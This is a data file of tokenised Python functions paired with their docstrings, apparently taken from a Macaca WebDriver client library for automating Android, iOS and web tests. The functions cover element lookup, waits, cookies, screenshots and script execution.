{"signature": "@fluent<EOL><INDENT>def send_keys(self, value):<DEDENT>", "body": "self._execute(Command.SEND_KEYS_TO_ACTIVE_ELEMENT, {<EOL>'<STR_LIT:value>': value_to_key_strokes(value)<EOL>})<EOL>", "docstring": "Send a sequence of key strokes.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            value(str|int|list): value can be a string,\n              int or a list contains defined Keys.", "id": "f4426:c0:m31"}
{"signature": "@fluent<EOL><INDENT>def switch_to_frame(self, frame_reference=None):<DEDENT>", "body": "if frame_reference is not None and type(frame_reference) not in [int, WebElement]:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._execute(Command.SWITCH_TO_FRAME,<EOL>{'<STR_LIT:id>': frame_reference})<EOL>", "docstring": "Switches focus to the specified frame, by index, name, or webelement.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            frame_reference(None|int|WebElement):\n                The identifier of the frame to switch to.\n                None means to set to the default context.\n                An integer representing the index.\n                A webelement means that is an (i)frame to switch to.\n                Otherwise throw an error.\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m32"}
{"signature": "@fluent<EOL><INDENT>def switch_to_parent_frame(self):<DEDENT>", "body": "self._execute(Command.SWITCH_TO_PARENT_FRAME)<EOL>", "docstring": "Switches focus to the parent context.\n\n        Support:\n            Web(WebView)", "id": "f4426:c0:m33"}
{"signature": "def get_active_element(self):", "body": "return self._execute(Command.GET_ACTIVE_ELEMENT)<EOL>", "docstring": "Returns the active element in current context.\n\n        Support:\n            Web(WebView)", "id": "f4426:c0:m34"}
{"signature": "@property<EOL><INDENT>def source(self):<DEDENT>", "body": "return self._execute(Command.GET_PAGE_SOURCE)<EOL>", "docstring": "Gets the source of the current page.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Returns:\n            Return the source of the current page.", "id": "f4426:c0:m35"}
{"signature": "def execute_script(self, script, *args):", "body": "return self._execute(Command.EXECUTE_SCRIPT, {<EOL>'<STR_LIT>': script,<EOL>'<STR_LIT:args>': list(args)})<EOL>", "docstring": "Execute JavaScript Synchronously in current context.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            script: The JavaScript to execute.\n            *args: Arguments for your JavaScript.\n\n        Returns:\n            Returns the return value of the function.", "id": "f4426:c0:m36"}
{"signature": "@fluent<EOL><INDENT>def execute_async_script(self, script, *args):<DEDENT>", "body": "return self._execute(Command.EXECUTE_ASYNC_SCRIPT, {<EOL>'<STR_LIT>': script,<EOL>'<STR_LIT:args>': list(args)})<EOL>", "docstring": "Execute JavaScript Asynchronously in current context.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            script: The JavaScript to execute.\n            *args: Arguments for your JavaScript.\n\n        Returns:\n            Returns the return value of the function.", "id": "f4426:c0:m37"}
{"signature": "@property<EOL><INDENT>def cookies(self):<DEDENT>", "body": "return self._execute(Command.GET_ALL_COOKIES)<EOL>", "docstring": "Returns  all cookies associated with the address of the current context.\n\n        Support:\n            Web(WebView)", "id": "f4426:c0:m38"}
{"signature": "def get_cookie(self, name):", "body": "for cookie in self.cookies:<EOL><INDENT>if cookie['<STR_LIT:name>'] == name:<EOL><INDENT>return cookie<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Get a single cookie by name.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            Returns the cookie if found, None if not.", "id": "f4426:c0:m39"}
{"signature": "@fluent<EOL><INDENT>def delete_cookie(self, name):<DEDENT>", "body": "self._execute(Command.DELETE_COOKIE, {'<STR_LIT:name>': name})<EOL>", "docstring": "Delete a single cookie by name.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            name: The cookie name.", "id": "f4426:c0:m40"}
{"signature": "@fluent<EOL><INDENT>def delete_all_cookies(self):<DEDENT>", "body": "self._execute(Command.DELETE_ALL_COOKIES)<EOL>", "docstring": "Delete all cookies at once.\n\n        Support:\n            Web(WebView)", "id": "f4426:c0:m41"}
{"signature": "@fluent<EOL><INDENT>def add_cookie(self, cookie_dict):<DEDENT>", "body": "if not isinstance(cookie_dict, dict):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not cookie_dict.get(<EOL>'<STR_LIT:name>', None<EOL>) or not cookie_dict.get(<EOL>'<STR_LIT:value>', None):<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>self._execute(Command.ADD_COOKIE, {'<STR_LIT>': cookie_dict})<EOL>", "docstring": "Set a cookie.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            cookie_dict: A dictionary contain keys: \"name\", \"value\",\n                [\"path\"], [\"domain\"], [\"secure\"], [\"httpOnly\"], [\"expiry\"].\n\n        Returns:\n            WebElement Object.", "id": "f4426:c0:m42"}
{"signature": "@fluent<EOL><INDENT>def set_implicitly_wait(self, time_to_wait):<DEDENT>", "body": "self._execute(Command.IMPLICIT_WAIT, {<EOL>'<STR_LIT>': float(time_to_wait) * <NUM_LIT:1000>})<EOL>", "docstring": "Implicit wait timeout that specifies a time to\n           wait for the implicit element location strategy\n           hen locating elements using Find Element and Find Elements.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            time_to_wait(int): Amount of time to wait (in seconds)\n\n        Returns:\n            WebElement Object.", "id": "f4426:c0:m43"}
{"signature": "@fluent<EOL><INDENT>def set_script_timeout(self, time_to_wait):<DEDENT>", "body": "self._execute(Command.SET_SCRIPT_TIMEOUT, {<EOL>'<STR_LIT>': float(time_to_wait) * <NUM_LIT:1000>})<EOL>", "docstring": "Script timeout that specifies a time to wait for scripts to run.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            time_to_wait(int): Amount of time to wait (in seconds)\n\n        Returns:\n            WebElement Object.", "id": "f4426:c0:m44"}
{"signature": "@fluent<EOL><INDENT>def set_page_load_timeout(self, time_to_wait):<DEDENT>", "body": "self._execute(Command.SET_TIMEOUTS, {<EOL>'<STR_LIT>': float(time_to_wait) * <NUM_LIT:1000>,<EOL>'<STR_LIT:type>': '<STR_LIT>'})<EOL>", "docstring": "Page load timeout that specifies a time to\n           wait for the page loading to complete.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            time_to_wait(int): Amount of time to wait\n\n        Returns:\n            WebElement Object.", "id": "f4426:c0:m45"}
{"signature": "@fluent<EOL><INDENT>def accept_alert(self):<DEDENT>", "body": "self._execute(Command.ACCEPT_ALERT)<EOL>", "docstring": "Accepts the alert available.\n\n        Support:\n            iOS", "id": "f4426:c0:m46"}
{"signature": "@fluent<EOL><INDENT>def dismiss_alert(self):<DEDENT>", "body": "self._execute(Command.DISMISS_ALERT)<EOL>", "docstring": "Dismisses the alert available.\n\n        Support:\n            iOS", "id": "f4426:c0:m47"}
{"signature": "@property<EOL><INDENT>def alert_text(self):<DEDENT>", "body": "return self._execute(Command.GET_ALERT_TEXT)<EOL>", "docstring": "Gets the text of the Alert.\n\n        Support:\n            iOS", "id": "f4426:c0:m48"}
{"signature": "@fluent<EOL><INDENT>def alert_keys(self, keys):<DEDENT>", "body": "self._execute(Command.SET_ALERT_VALUE, {<EOL>'<STR_LIT:text>': keys<EOL>})<EOL>", "docstring": "Sends keystrokes to a JavaScript prompt() dialog.\n\n        Support:\n            iOS\n\n        Args:\n            keys(str): The keys send to.", "id": "f4426:c0:m49"}
{"signature": "def take_screenshot(self):", "body": "return self._execute(Command.SCREENSHOT)<EOL>", "docstring": "Gets the screenshot of the current window\n           as a base64 encoded string.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Returns:\n            Base64 encoded string of the screenshot.", "id": "f4426:c0:m50"}
{"signature": "@fluent<EOL><INDENT>def save_screenshot(self, filename, quietly = False):<DEDENT>", "body": "imgData = self.take_screenshot()<EOL>try:<EOL><INDENT>with open(filename, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(b64decode(imgData.encode('<STR_LIT:ascii>')))<EOL><DEDENT><DEDENT>except IOError as err:<EOL><INDENT>if not quietly:<EOL><INDENT>raise err<EOL><DEDENT><DEDENT>", "docstring": "Save the screenshot to local.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            filename(str): The path to save the image.\n            quietly(bool): If True, omit the IOError when\n                failed to save the image.\n\n        Returns:\n            WebElement Object.\n\n        Raises:\n            WebDriverException.\n            IOError.", "id": "f4426:c0:m51"}
{"signature": "def element(self, using, value):", "body": "return self._execute(Command.FIND_ELEMENT, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL>", "docstring": "Find an element in the current context.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            WebElement Object.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m52"}
{"signature": "def element_if_exists(self, using, value):", "body": "try:<EOL><INDENT>self._execute(Command.FIND_ELEMENT, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL>return True<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if an element in the current context.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            Return True if the element does exists and return False otherwise.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m53"}
{"signature": "def element_or_none(self, using, value):", "body": "try:<EOL><INDENT>return self._execute(Command.FIND_ELEMENT, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Check if an element in the current context.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            Return Element if the element does exists and return None otherwise.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m54"}
{"signature": "def elements(self, using, value):", "body": "return self._execute(Command.FIND_ELEMENTS, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL>", "docstring": "Find elements in the current context.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            Return a List<Element | None>, if no element matched, the list is empty.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m55"}
{"signature": "def wait_for(<EOL>self, timeout=<NUM_LIT>, interval=<NUM_LIT:1000>,<EOL>asserter=lambda x: x):", "body": "if not callable(asserter):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>@retry(<EOL>retry_on_exception=lambda ex: isinstance(ex, WebDriverException),<EOL>stop_max_delay=timeout,<EOL>wait_fixed=interval<EOL>)<EOL>def _wait_for(driver):<EOL><INDENT>asserter(driver)<EOL>return driver<EOL><DEDENT>return _wait_for(self)<EOL>", "docstring": "Wait for driver till satisfy the given condition\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            timeout(int): How long we should be retrying stuff.\n            interval(int): How long between retries.\n            asserter(callable): The asserter func to determine the result.\n\n        Returns:\n            Return the driver.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m56"}
{"signature": "def wait_for_element(<EOL>self, using, value, timeout=<NUM_LIT>,<EOL>interval=<NUM_LIT:1000>, asserter=is_displayed):", "body": "if not callable(asserter):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>@retry(<EOL>retry_on_exception=lambda ex: isinstance(ex, WebDriverException),<EOL>stop_max_delay=timeout,<EOL>wait_fixed=interval<EOL>)<EOL>def _wait_for_element(ctx, using, value):<EOL><INDENT>el = ctx.element(using, value)<EOL>asserter(el)<EOL>return el<EOL><DEDENT>return _wait_for_element(self, using, value)<EOL>", "docstring": "Wait for element till satisfy the given condition\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n            timeout(int): How long we should be retrying stuff.\n            interval(int): How long between retries.\n            asserter(callable): The asserter func to determine the result.\n\n        Returns:\n            Return the Element.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m57"}
{"signature": "def wait_for_elements(<EOL>self, using, value, timeout=<NUM_LIT>,<EOL>interval=<NUM_LIT:1000>, asserter=is_displayed):", "body": "if not callable(asserter):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>@retry(<EOL>retry_on_exception=lambda ex: isinstance(ex, WebDriverException),<EOL>stop_max_delay=timeout,<EOL>wait_fixed=interval<EOL>)<EOL>def _wait_for_elements(ctx, using, value):<EOL><INDENT>els = ctx.elements(using, value)<EOL>if not len(els):<EOL><INDENT>raise WebDriverException('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>el = els[<NUM_LIT:0>]<EOL>asserter(el)<EOL>return els<EOL><DEDENT><DEDENT>return _wait_for_elements(self, using, value)<EOL>", "docstring": "Wait for elements till satisfy the given condition\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n            timeout(int): How long we should be retrying stuff.\n            interval(int): How long between retries.\n            asserter(callable): The asserter func to determine the result.\n\n        Returns:\n            Return the list of Element if any of them satisfy the condition.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m58"}
{"signature": "@fluent<EOL><INDENT>def touch(self, name, args=None):<DEDENT>", "body": "if isinstance(name, list) and not isinstance(name, str):<EOL><INDENT>actions = name<EOL><DEDENT>elif isinstance(name, str):<EOL><INDENT>if not args:<EOL><INDENT>args = {}<EOL><DEDENT>args['<STR_LIT:type>'] = name<EOL>actions = [args]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._execute(Command.PERFORM_ACTIONS, {<EOL>'<STR_LIT>': actions<EOL>})<EOL>", "docstring": "Apply touch actions on devices. Such as, tap/doubleTap/press/pinch/rotate/drag.\n            See more on https://github.com/alibaba/macaca/issues/366.\n\n        Support:\n            Android iOS\n\n        Args:\n            name(str): Name of the action\n            args(dict): Arguments of the action\n\n        Returns:\n            WebDriver Object.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m59"}
{"signature": "def add_element_extension_method(Klass):", "body": "def add_element_method(Klass, using):<EOL><INDENT>locator = using.name.lower()<EOL>find_element_name = \"<STR_LIT>\" + locator<EOL>find_element_if_exists_name = \"<STR_LIT>\" + locator + \"<STR_LIT>\"<EOL>find_element_or_none_name = \"<STR_LIT>\" + locator + \"<STR_LIT>\"<EOL>wait_for_element_name = \"<STR_LIT>\" + locator<EOL>find_elements_name = \"<STR_LIT>\" + locator<EOL>wait_for_elements_name = \"<STR_LIT>\" + locator<EOL>def find_element(self, value):<EOL><INDENT>return self.element(using.value, value)<EOL><DEDENT>find_element.__name__ = find_element_name<EOL>find_element.__doc__ = (<EOL>\"<STR_LIT>\".format(using.value) +<EOL>\"<STR_LIT>\"<EOL>)<EOL>def find_element_if_exists(self, value):<EOL><INDENT>return self.element_if_exists(using.value, value)<EOL><DEDENT>find_element_if_exists.__name__ = find_element_if_exists_name<EOL>find_element_if_exists.__doc__ = (<EOL>\"<STR_LIT>\".format(using.value) +<EOL>\"<STR_LIT>\"<EOL>)<EOL>def find_element_or_none(self, value):<EOL><INDENT>return self.element_or_none(using.value, value)<EOL><DEDENT>find_element_or_none.__name__ = find_element_or_none_name<EOL>find_element_or_none.__doc__ = (<EOL>\"<STR_LIT>\".format(using.value) +<EOL>\"<STR_LIT>\"<EOL>)<EOL>def wait_for_element_by(self, *args, **kwargs):<EOL><INDENT>return self.wait_for_element(using.value, *args, **kwargs)<EOL><DEDENT>wait_for_element_by.__name__ = wait_for_element_name<EOL>wait_for_element_by.__doc__ = (<EOL>\"<STR_LIT>\".format(using.value) +<EOL>\"<STR_LIT>\"<EOL>)<EOL>def find_elements(self, value):<EOL><INDENT>return self.elements(using.value, value)<EOL><DEDENT>find_elements.__name__ = find_elements_name<EOL>find_elements.__doc__ = (<EOL>\"<STR_LIT>\".format(using.value) +<EOL>\"<STR_LIT>\"<EOL>)<EOL>def wait_for_elements_available(self, *args, **kwargs):<EOL><INDENT>return self.wait_for_elements(using.value, *args, **kwargs)<EOL><DEDENT>wait_for_elements_available.__name__ = wait_for_elements_name<EOL>wait_for_elements_available.__doc__ = (<EOL>\"<STR_LIT>\".format(using.value) +<EOL>\"<STR_LIT>\"<EOL>)<EOL>setattr(Klass, find_element_name, find_element)<EOL>setattr(Klass, find_element_if_exists_name, find_element_if_exists)<EOL>setattr(Klass, find_element_or_none_name, find_element_or_none)<EOL>setattr(Klass, wait_for_element_name, wait_for_element_by)<EOL>setattr(Klass, find_elements_name, find_elements)<EOL>setattr(Klass, wait_for_elements_name, wait_for_elements_available)<EOL><DEDENT>for locator in iter(Locator):<EOL><INDENT>add_element_method(Klass, locator)<EOL><DEDENT>", "docstring": "Add element_by alias and extension' methods(if_exists/or_none).", "id": "f4428:m0"}
{"signature": "def fluent(func):", "body": "@wraps(func)<EOL>def fluent_interface(instance, *args, **kwargs):<EOL><INDENT>ret = func(instance, *args, **kwargs)<EOL>if ret is not None:<EOL><INDENT>return ret<EOL><DEDENT>return instance<EOL><DEDENT>return fluent_interface<EOL>", "docstring": "Fluent interface decorator to return self if method return None.", "id": "f4428:m1"}
{"signature": "def value_to_key_strokes(value):", "body": "result = '<STR_LIT>'<EOL>if isinstance(value, Integral):<EOL><INDENT>value = str(value)<EOL><DEDENT>for v in value:<EOL><INDENT>if isinstance(v, Keys):<EOL><INDENT>result += v.value<EOL><DEDENT>elif isinstance(v, Integral):<EOL><INDENT>result += str(v)<EOL><DEDENT>else:<EOL><INDENT>result += v<EOL><DEDENT><DEDENT>return [result]<EOL>", "docstring": "Convert value to a list of key strokes\n    >>> value_to_key_strokes(123)\n    ['123']\n    >>> value_to_key_strokes('123')\n    ['123']\n    >>> value_to_key_strokes([1, 2, 3])\n    ['123']\n    >>> value_to_key_strokes(['1', '2', '3'])\n    ['123']\n\n    Args:\n        value(int|str|list)\n\n    Returns:\n        A list of string.", "id": "f4428:m2"}
{"signature": "def value_to_single_key_strokes(value):", "body": "result = []<EOL>if isinstance(value, Integral):<EOL><INDENT>value = str(value)<EOL><DEDENT>for v in value:<EOL><INDENT>if isinstance(v, Keys):<EOL><INDENT>result.append(v.value)<EOL><DEDENT>elif isinstance(v, Integral):<EOL><INDENT>result.append(str(v))<EOL><DEDENT>else:<EOL><INDENT>result.append(v)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Convert value to a list of key strokes\n    >>> value_to_single_key_strokes(123)\n    ['1', '2', '3']\n    >>> value_to_single_key_strokes('123')\n    ['1', '2', '3']\n    >>> value_to_single_key_strokes([1, 2, 3])\n    ['1', '2', '3']\n    >>> value_to_single_key_strokes(['1', '2', '3'])\n    ['1', '2', '3']\n    Args:\n        value(int|str|list)\n    Returns:\n        A list of string.", "id": "f4428:m3"}
{"signature": "def __init__(self):", "body": "Formatter.__init__(self)<EOL>self._used_kwargs = {}<EOL>self._unused_kwargs = {}<EOL>", "docstring": "Initialize the MemorizeFormatter.", "id": "f4428:c0:m0"}
{"signature": "def check_unused_args(self, used_args, args, kwargs):", "body": "for k, v in kwargs.items():<EOL><INDENT>if k in used_args:<EOL><INDENT>self._used_kwargs.update({k: v})<EOL><DEDENT>else:<EOL><INDENT>self._unused_kwargs.update({k: v})<EOL><DEDENT><DEDENT>", "docstring": "Implement the check_unused_args in superclass.", "id": "f4428:c0:m1"}
{"signature": "def vformat(self, format_string, args, kwargs):", "body": "self._used_kwargs = {}<EOL>self._unused_kwargs = {}<EOL>return super(MemorizeFormatter, self).vformat(format_string, args, kwargs)<EOL>", "docstring": "Clear used and unused dicts before each formatting.", "id": "f4428:c0:m2"}
{"signature": "def format_map(self, format_string, mapping):", "body": "return self.vformat(format_string, args=None, kwargs=mapping)<EOL>", "docstring": "format a string by a map\n\n        Args:\n            format_string(str): A format string\n            mapping(dict): A map to format the string\n\n        Returns:\n            A formatted string.\n\n        Raises:\n            KeyError: if key is not provided by the given map.", "id": "f4428:c0:m3"}
{"signature": "def get_used_kwargs(self):", "body": "return self._used_kwargs<EOL>", "docstring": "Get used kwargs after formatting.", "id": "f4428:c0:m4"}
{"signature": "def get_unused_kwargs(self):", "body": "return self._unused_kwargs<EOL>", "docstring": "Get unused kwargs after formatting.", "id": "f4428:c0:m5"}
{"signature": "def find_exception_by_code(code):", "body": "errorName = None<EOL>for error in WebDriverError:<EOL><INDENT>if error.value.code == code:<EOL><INDENT>errorName = error<EOL>break<EOL><DEDENT><DEDENT>return errorName<EOL>", "docstring": "Find name of exception by WebDriver defined error code.\n\n    Args:\n        code(str): Error code defined in protocol.\n\n    Returns:\n        The error name defined in protocol.", "id": "f4429:m0"}
{"signature": "def __init__(self, error=None, message=None, screen=None, stacktrace=None):", "body": "self.error = error<EOL>self.message = message<EOL>self.screen = screen<EOL>self.stacktrace = stacktrace<EOL>", "docstring": "Initialize the WebDriverException", "id": "f4429:c1:m0"}
{"signature": "def is_displayed(target):", "body": "is_displayed = getattr(target, '<STR_LIT>', None)<EOL>if not is_displayed or not callable(is_displayed):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not is_displayed():<EOL><INDENT>raise WebDriverException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Assert whether the target is displayed\n\n    Args:\n        target(WebElement): WebElement Object.\n\n    Returns:\n        Return True if the element is displayed or return False otherwise.", "id": "f4430:m0"}
{"signature": "def is_not_displayed(target):", "body": "is_displayed = getattr(target, '<STR_LIT>', None)<EOL>if not is_displayed or not callable(is_displayed):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if is_displayed():<EOL><INDENT>raise WebDriverException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Assert whether the target is not displayed\n\n    Args:\n        target(WebElement): WebElement Object.\n\n    Returns:\n        Return True if the element is not displayed or return False otherwise.", "id": "f4430:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_object(cls, obj):<DEDENT>", "body": "return cls(<EOL>obj.get('<STR_LIT>', None),<EOL>obj.get('<STR_LIT:status>', <NUM_LIT:0>),<EOL>obj.get('<STR_LIT:value>', None)<EOL>)<EOL>", "docstring": "The factory method to create WebDriverResult from JSON Object.\n\n        Args:\n            obj(dict): The JSON Object returned by server.", "id": "f4431:c0:m1"}
{"signature": "def raise_for_status(self):", "body": "if not self.status:<EOL><INDENT>return<EOL><DEDENT>error = find_exception_by_code(self.status)<EOL>message = None<EOL>screen = None<EOL>stacktrace = None<EOL>if isinstance(self.value, str):<EOL><INDENT>message = self.value<EOL><DEDENT>elif isinstance(self.value, dict):<EOL><INDENT>message = self.value.get('<STR_LIT:message>', None)<EOL>screen = self.value.get('<STR_LIT>', None)<EOL>stacktrace = self.value.get('<STR_LIT>', None)<EOL><DEDENT>raise WebDriverException(error, message, screen, stacktrace)<EOL>", "docstring": "Raise WebDriverException if returned status is not zero.", "id": "f4431:c0:m2"}
{"signature": "def __init__(self, element_id, driver):", "body": "self.element_id = str(element_id)<EOL>self._driver = driver<EOL>", "docstring": "Initialize the WebElement\n\n        Args:\n            element_id(str): The UDID returned by remote servers.\n            driver(WebDriver): The WebDriver Object.", "id": "f4435:c0:m0"}
{"signature": "def _execute(self, command, data=None, unpack=True):", "body": "if not data:<EOL><INDENT>data = {}<EOL><DEDENT>data.setdefault('<STR_LIT>', self.element_id)<EOL>return self._driver._execute(command, data, unpack)<EOL>", "docstring": "Private method to execute command with data.\n\n        Args:\n            command(Command): The defined command.\n            data(dict): The uri variable and body.\n\n        Returns:\n            The unwrapped value field in the json response.", "id": "f4435:c0:m5"}
{"signature": "@property<EOL><INDENT>def driver(self):<DEDENT>", "body": "return self._driver<EOL>", "docstring": "Internal reference to the WebDriver instance.", "id": "f4435:c0:m6"}
{"signature": "def element(self, using, value):", "body": "return self._execute(Command.FIND_CHILD_ELEMENT, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL>", "docstring": "find an element in the current element.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            WebElement Object.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m7"}
{"signature": "def element_if_exists(self, using, value):", "body": "try:<EOL><INDENT>self._execute(Command.FIND_CHILD_ELEMENT, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL>return True<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if an element in the current element.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            Return True if the element does exists and return False otherwise.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m8"}
{"signature": "def element_or_none(self, using, value):", "body": "try:<EOL><INDENT>return self._execute(Command.FIND_CHILD_ELEMENT, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Check if an element in the current element.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            Return Element if the element does exists and return None otherwise.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m9"}
{"signature": "def elements(self, using, value):", "body": "return self._execute(Command.FIND_CHILD_ELEMENTS, {<EOL>'<STR_LIT>': using,<EOL>'<STR_LIT:value>': value<EOL>})<EOL>", "docstring": "find elements in the current element.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n\n        Returns:\n            Return a List<Element | None>, if no element matched, the list is empty.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m10"}
{"signature": "def wait_for(<EOL>self, timeout=<NUM_LIT>, interval=<NUM_LIT:1000>,<EOL>asserter=lambda x: x):", "body": "if not callable(asserter):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>@retry(<EOL>retry_on_exception=lambda ex: isinstance(ex, WebDriverException),<EOL>stop_max_delay=timeout,<EOL>wait_fixed=interval<EOL>)<EOL>def _wait_for(el):<EOL><INDENT>asserter(el)<EOL>return el<EOL><DEDENT>return _wait_for(self)<EOL>", "docstring": "Wait for element till given condition\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            timeout(int): How long we should be retrying stuff.\n            interval(int): How long between retries.\n            asserter(callable): The asserter func to determine the result.\n\n        Returns:\n            Return the Element.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m11"}
{"signature": "def wait_for_element(<EOL>self, using, value, timeout=<NUM_LIT>,<EOL>interval=<NUM_LIT:1000>, asserter=is_displayed):", "body": "if not callable(asserter):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>@retry(<EOL>retry_on_exception=lambda ex: isinstance(ex, WebDriverException),<EOL>stop_max_delay=timeout,<EOL>wait_fixed=interval<EOL>)<EOL>def _wait_for_element(ctx, using, value):<EOL><INDENT>el = ctx.element(using, value)<EOL>asserter(el)<EOL>return el<EOL><DEDENT>return _wait_for_element(self, using, value)<EOL>", "docstring": "Wait for element till the given condition\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n            timeout(int): How long we should be retrying stuff.\n            interval(int): How long between retries.\n            asserter(callable): The asserter func to determine the result.\n\n        Returns:\n            Return the Element.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m12"}
{"signature": "def wait_for_elements(<EOL>self, using, value, timeout=<NUM_LIT>,<EOL>interval=<NUM_LIT:1000>, asserter=is_displayed):", "body": "if not callable(asserter):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>@retry(<EOL>retry_on_exception=lambda ex: isinstance(ex, WebDriverException),<EOL>stop_max_delay=timeout,<EOL>wait_fixed=interval<EOL>)<EOL>def _wait_for_elements(ctx, using, value):<EOL><INDENT>els = ctx.elements(using, value)<EOL>if not len(els):<EOL><INDENT>raise WebDriverException('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>el = els[<NUM_LIT:0>]<EOL>asserter(el)<EOL>return els<EOL><DEDENT><DEDENT>return _wait_for_elements(self, using, value)<EOL>", "docstring": "Wait for elements till the given condition\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            using(str): The element location strategy.\n            value(str): The value of the location strategy.\n            timeout(int): How long we should be retrying stuff.\n            interval(int): How long between retries.\n            asserter(callable): The asserter func to determine the result.\n\n        Returns:\n            Return the list of Element if any of them satisfy the condition.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m13"}
{"signature": "def is_displayed(self):", "body": "return self._execute(Command.IS_ELEMENT_DISPLAYED)<EOL>", "docstring": "Whether the element is visible.\n\n        Support:\n            Android Web(WebView)", "id": "f4435:c0:m14"}
{"signature": "def is_selected(self):", "body": "return self._execute(Command.IS_ELEMENT_SELECTED)<EOL>", "docstring": "Returns whether the element is selected.\n\n        Support:\n            Web(WebView)", "id": "f4435:c0:m15"}
{"signature": "def is_enabled(self):", "body": "return self._execute(Command.IS_ELEMENT_ENABLED)<EOL>", "docstring": "Returns whether the element is enabled.\n\n        Support:\n            Web(WebView)", "id": "f4435:c0:m16"}
